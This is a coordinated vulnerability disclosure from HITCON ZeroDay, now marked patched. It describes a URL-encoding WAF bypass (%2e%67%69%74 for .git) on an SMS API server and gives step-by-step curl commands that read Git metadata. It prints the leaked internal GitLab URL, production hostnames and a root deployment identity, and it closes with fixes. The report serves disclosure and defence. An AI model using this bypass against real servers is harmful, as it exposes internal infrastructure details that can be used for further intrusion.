互動資通 EVERY8D SMS API 3.0 .git 目錄 URL Encoding WAF Bypass → 內部 GitLab 伺服器、生產主機名及 root 部署身份洩漏 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00639
  •  發信 Vendor: 互動資通股份有限公司
  • Title: 互動資通 EVERY8D SMS API 3.0 .git 目錄 URL Encoding WAF Bypass → 內部 GitLab 伺服器、生產主機名及 root 部署身份洩漏
  • Introduction: WAF 僅攔截字面 .git 路徑,將 .git URL 全編碼為 %2e%67%69%74 即可繞過,讀取 Git 元數據並洩漏內部 GitLab URL 及 root 部署身份。

處理狀態

目前狀態

公開
Last Update : 2026/08/05
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/05/07 02:08:41 : 新提交 (由 罐頭 更新此狀態)
  • 2026/05/14 13:03:03 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:56:33 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:56:33 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:56:33 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/06 11:23:12 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/08 15:13:18 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/31 14:58:44 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/08/01 14:48:07 : 確認已修補 (由 罐頭 更新此狀態)
  • 2026/08/05 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00639
  • 通報者:guan4tou2 (罐頭)
  • 風險:中
  • 類型:資訊洩漏 (Information Leakage)

參考資料

攻擊者可利用洩漏資訊進行下一步攻擊行為。

OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://e8dapi.e8d.tw/.git/HEAD
https://e8dapi.e8d.tw/%2e%67%69%74/HEAD

敘述

漏洞概述

e8dapi.e8d.tw 伺服器設定了 WAF/Apache 規則以阻擋 .git 路徑的直接存取(HTTP 403),但防護僅匹配字面字串 .git,未對 URL 解碼後的結果進行二次過濾。攻擊者只需將 .git 以 URL 百分號編碼(%2e%67%69%74),即可繞過攔截規則,從 Web Server 層(Apache 執行 URL 解碼後)直接讀取 .git/ 目錄中的元數據文件。

WAF Bypass 技術原理

.git 的 URL 全編碼:. = %2e,g = %67,i = %69,t = %74

WAF 規則在接收到請求時匹配字串 .git(ASCII),由於 %2e%67%69%74 與字面 .git 不相符,規則不被觸發。請求到達 Apache 後,Apache 執行 URL 解碼,還原為 .git,正常服務該目錄下的文件。

重現步驟(Live verified: 2026-04-29)

步驟 1:確認直接路徑被 WAF 阻擋

curl -I "https://e8dapi.e8d.tw/.git/HEAD"
# → HTTP/1.1 403 Forbidden

curl -I "https://e8dapi.e8d.tw/.git/config"
# → HTTP/1.1 403 Forbidden

步驟 2:使用 URL Encoding 繞過,讀取 HEAD

curl -s "https://e8dapi.e8d.tw/%2e%67%69%74/HEAD"
# → ref: refs/heads/prod_20251027

步驟 3:讀取 git config(內部 GitLab URL)

curl -s "https://e8dapi.e8d.tw/%2e%67%69%74/config"

回應:

[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
[remote "origin"]
    url = http://gitlab.e8d.cc/tech_service/sms_api30_bin.git
    fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
    remote = origin
    merge = refs/heads/main

步驟 4:讀取 git logs,洩漏生產主機名與 root 身份

curl -s "https://e8dapi.e8d.tw/%2e%67%69%74/logs/HEAD"

回應(節錄):

0000000000000000000000000000000000000000 cd39dfc604f8f1fe8103f307d7faafddd121fd1a root <root@api30ap182p.(none)> 1761559191 +0800   clone: from http://gitlab.e8d.cc/tech_service/sms_api30_bin.git
cd39dfc604f8f1fe8103f307d7faafddd121fd1a cd39dfc604f8f1fe8103f307d7faafddd121fd1a root <root@api30ap181p.(none)> 1761559201 +0800   checkout: moving from main to prod_20251027

步驟 5:讀取 packed-refs,取得完整版本歷史

curl -s "https://e8dapi.e8d.tw/%2e%67%69%74/packed-refs"

回應(節錄):

# pack-refs with: peeled fully-peeled sorted
cd39dfc604f8f1fe8103f307d7faafddd121fd1a refs/remotes/origin/develop
...
refs/remotes/origin/prod_20240820
refs/remotes/origin/prod_20240912
refs/remotes/origin/prod_20241001
refs/remotes/origin/prod_20241219
refs/remotes/origin/prod_20250305
refs/remotes/origin/prod_20250306
refs/remotes/origin/prod_20250423
refs/remotes/origin/prod_20250609
refs/remotes/origin/prod_20250822
refs/remotes/origin/prod_20251027
refs/remotes/origin/uat

洩漏的敏感資訊總覽

1. 內部 GitLab 伺服器

項目 值
GitLab URL http://gitlab.e8d.cc/tech_service/sms_api30_bin.git
群組 tech_service(與其他 EVERY8D 服務相同組織)
倉庫 sms_api30_bin(SMS API 3.0 二進位發行版)
DNS 解析 gitlab.e8d.cc → 3.115.247.248(AWS Tokyo)

內部 GitLab 伺服器的存在及其 URL 屬於非公開的內部基礎設施資訊。攻擊者若能存取 gitlab.e8d.cc,可取得所有相關服務的原始碼。

2. 生產伺服器主機名(雙機叢集)

主機名 推斷角色 git 操作記錄
api30ap182p SMS API 3.0 Production Server 2 執行 git clone from gitlab.e8d.cc
api30ap181p SMS API 3.0 Production Server 1 執行 git checkout prod_20251027

3. Root 身份執行部署操作

root <root@api30ap182p.(none)>  ← git clone 以 root 身份執行
root <root@api30ap181p.(none)>  ← git checkout 以 root 身份執行

伺服器以 root 身份執行所有 git 部署操作,代表 Web 服務程序本身亦可能以 root 權限運行。若攻擊者取得任意程式碼執行能力,影響面直接升級至系統 root 級別。

WAF Bypass 可觸達的端點彙整

路徑 HTTP 狀態 備註
/.git/HEAD 403 WAF 字面匹配 .git,阻擋
/%2e%67%69%74/HEAD 200 Bypass 成功,返回當前 branch
/%2e%67%69%74/config 200 返回 GitLab remote URL
/%2e%67%69%74/logs/HEAD 200 返回主機名 + root 身份
/%2e%67%69%74/packed-refs 200 返回完整分支歷史
/%2e%67%69%74/refs/heads/prod_20251027 200 返回 commit hash
/%2e%67%69%74/objects/* 404 objects 目錄另外受保護或以 packed 格式存儲

由於 objects 目錄無法存取,本漏洞目前僅能取得元數據,無法還原完整原始碼。

已驗證影響(Verified)

  • ✅ WAF bypass 成功:%2e%67%69%74/HEAD 返回 HTTP 200(2026-04-29 11:33 實測)
  • ✅ 內部 GitLab URL 確認:http://gitlab.e8d.cc/tech_service/sms_api30_bin.git
  • ✅ 兩台生產伺服器主機名確認:api30ap181p、api30ap182p
  • ✅ root 身份部署確認:git logs 中 root <root@api30ap18Xp.(none)>
  • ✅ 版本歷史確認:10 個 prod 分支(2024/08 ~ 2025/10)

潛在影響(Potential)

  • 攻擊者知悉內部 GitLab 伺服器地址,若 GitLab 存在其他漏洞(認證繞過、SSRF、公開倉庫),可取得 SMS API 3.0 完整原始碼
  • 生產伺服器主機名(api30ap181p/api30ap182p)可作為內部網路橫向移動的目標定位
  • Root 部署確認:任何 code execution 漏洞立即升級為完整系統控制

修補建議

1. 立即:修正 WAF/Apache 規則,對所有請求先執行 URL 解碼,再比對 .git 路徑(在 WAF 層啟用 URL decode before match)
2. 立即:在 Apache 設定中加入 RedirectMatch 404 /\.git 規則,並確認 URL 解碼前後均被攔截
3. 短期:將部署流程改為非 root 帳戶(least privilege),Web 服務程序不應以 root 身份運行
4. 短期:git remote URL 不應使用明文 HTTP,應改用 SSH 金鑰認證

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;